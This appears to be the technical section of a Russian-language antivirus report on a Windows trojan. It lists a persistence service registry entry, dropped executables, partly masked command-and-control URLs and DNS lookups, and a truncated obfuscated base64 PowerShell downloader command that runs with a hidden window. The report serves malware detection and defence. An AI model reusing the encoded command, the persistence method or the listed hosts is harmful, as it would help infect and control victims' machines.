Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\NlsData0c1a] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\NlsData0c1a] 'ImagePath' = '"%WINDIR%\SysWOW64\KBDTURME\NlsData0c1a.exe"'
- 'NlsData0c1a' "%WINDIR%\SysWOW64\KBDTURME\NlsData0c1a.exe"
- 'NlsData0c1a' %WINDIR%\SysWOW64\KBDTURME\NlsData0c1a.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABCAGcANQB0AGoAZQBqAD0AKAAoACcAQQA5ACcAKwAnAGMAJwApACsAKAAnAGIAJwArACcAegBsADQAJwApACkAOwAuACgAJwBuAGUAdwAtAGkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABlAE4AdgA6AHUAUwBFAHIAcAByAE8ARgBpAEwARQ...
- %HOMEPATH%\iiqqhqp\w6jsxef\n70wm26e.exe
- %WINDIR%\syswow64\kbdturme\nlsdata0c1a.exe
- %HOMEPATH%\iiqqhqp\w6jsxef\n70wm26e.exe в %WINDIR%\syswow64\kbdturme\nlsdata0c1a.exe
- '71.##.196.159':80
- http://cr###okuota.com/assets/M2ngTrJ/
- http://71.##.196.159/nQ6b4oxheQK6/
- DNS ASK cr###okuota.com
- DNS ASK pi####usmedia.com
- '%HOMEPATH%\iiqqhqp\w6jsxef\n70wm26e.exe'
- '%WINDIR%\syswow64\kbdturme\nlsdata0c1a.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABCAGcANQB0AGoAZQBqAD0AKAAoACcAQQA5ACcAKwAnAGMAJwApACsAKAAnAGIAJwArACcAegBsADQAJwApACkAOwAuACgAJwBuAGUAdwAtAGkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABlAE4AdgA6AHUAUwBFAHIAcAByAE8ARgBpAEwARQ...' (со скрытым окном)